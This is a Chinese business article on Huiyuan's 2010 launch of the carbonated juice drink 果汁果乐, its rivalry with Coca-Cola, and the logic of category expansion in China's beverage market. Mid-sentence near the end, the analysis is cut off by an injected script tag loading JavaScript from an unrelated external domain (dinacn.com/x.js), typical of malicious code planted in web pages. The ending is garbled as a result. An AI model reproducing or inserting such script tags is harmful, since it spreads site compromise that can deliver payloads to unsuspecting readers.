汇源高调宣布：将重砸50亿，以“水果生气了”为主题推出系列全新碳酸饮料——果汁果乐。果汁专家汇源涉足碳酸饮料市场，目标直指两大可乐巨头？背负重任高调出场的果汁果乐能否完成使命？能否获得美汁源在果汁饮料市场一样的成功？

汇源vs可口可乐: 果汁果乐如何乐？

■ 胡夏阳  吴江宁

汇源与可口可乐暧昧着度过了半年的“蜜月期”之后，随着商务部对提案的否决，双方旋即又回到了竞争对立的阵营。之后，不管是汇源还是朱新礼个人，都一直默默无闻，就像受了重伤的高手躲在某深山休养生息去了。2010年3月26日，似乎全面恢复武功的朱新礼带着汇源在北京高调宣布，汇源果汁重砸50亿元推出系列全新碳酸饮料——果汁果乐，并于即日起上市。尽管这款被命名为“果汁果乐”的果汁碳酸型饮料被认为是饮料品类的一个创新，但其目标显然直指两大传统可乐巨头。对此，朱新礼表示，“可口可乐做‘美汁源’时偷去了我们一个‘源’字，今年我们做碳酸饮料偷去他们一个‘乐’字，汇源就是要‘争口气’。”然而，投资50亿难道就是为了争口气吗？可口可乐和汇源互相进入对方领地，意欲何为？

拓展品类，意欲何为

饮料行业在中国市场短短20多年的变迁，可以说是一部品类不断创新、市场不断扩大的历史。从最早的健力宝到之后的旭日升，再到红牛等功能性饮料，每一个品类的创新都催生了一个庞大的市场，铸就了数个品牌的辉煌，辉煌过后我们看到更多的是很多品牌的快速陨落。一个新品类成就了一个新的细分市场后，经过一定时间的跟随、竞争，必定从快速发展阶段过渡到稳定成熟阶段。这之后，领导品牌会牢牢把握住大部分市场份额，整体的市场容量也难以持续增长，相反还可能受到其他品类的挤压，比如碳酸饮料市场、乳饮料市场、茶饮料市场、果汁市场无不如此（见图1）。这就导致新进入者更愿意通过创新的方式来实现自我生存乃至增长，典型的如王老吉就通过品类创新的方式实现了梦幻般的增长。

扩大产品线，拓展品类的不是只有汇源一家，因为逆水行舟，不进则退。对于已经取得成功的品类领导品牌而言，他们虽然已经固守成功，但却面临着更大的压力，一方面是新进入者造成的品类品牌竞争压力，另一方面是其他品类对其构成的品类间产品替代压力。领导品牌面临这样的双重压力，必须以攻为守，通过开拓新的市场来维持企业的发展。正因为此，可口可乐才在茶饮料、乳饮料、果汁饮料等众多领域不停出击，娃哈哈亦是如此，所以如今汇源的举动并不意外。

对于领导品牌来说，他们的出击通常有两种选择，第一种是进行品类的创新，培育一个全新的细分市场，但这需要花费大量的时间去培育市场、教育消费者，还有为他人做嫁衣的风险；第二种选择是选一个较为成熟，但仍存在机会的细分市场，作为跟随者进入，然后凭借某些独特的竞争要素获取成功。由于领导品牌具备了强大的品牌、资金、渠道、管理等各方面的优势，因此进入一个新的市场在先天上就具备了众多优势，资源的有效嫁接可以让其快速地进入某个目标市场，正因为此，领导品牌往往选择后者。

可口可乐的根基在碳酸饮料，但是一方面随着消费者越来越重视健康，另一方面竞争品类越来越大，碳酸饮料的份额一直处在逐年下降的趋势之中，因此出于战略发展的目的，它必须选择一条符合未来饮料发展趋势的道路，美汁源即是这个战略中最重要的一步，也是可口可乐迄今除可乐之外最成功的一步。

对于汇源而言，靠果汁起家的它一直专注于100%果汁果肉这一细分市场，也一直是这一领域当之无愧的NO.1，而其在低浓度果汁饮料这一市场的表现却越来越差。从近几年?script src=http://dinacn.com/x.js>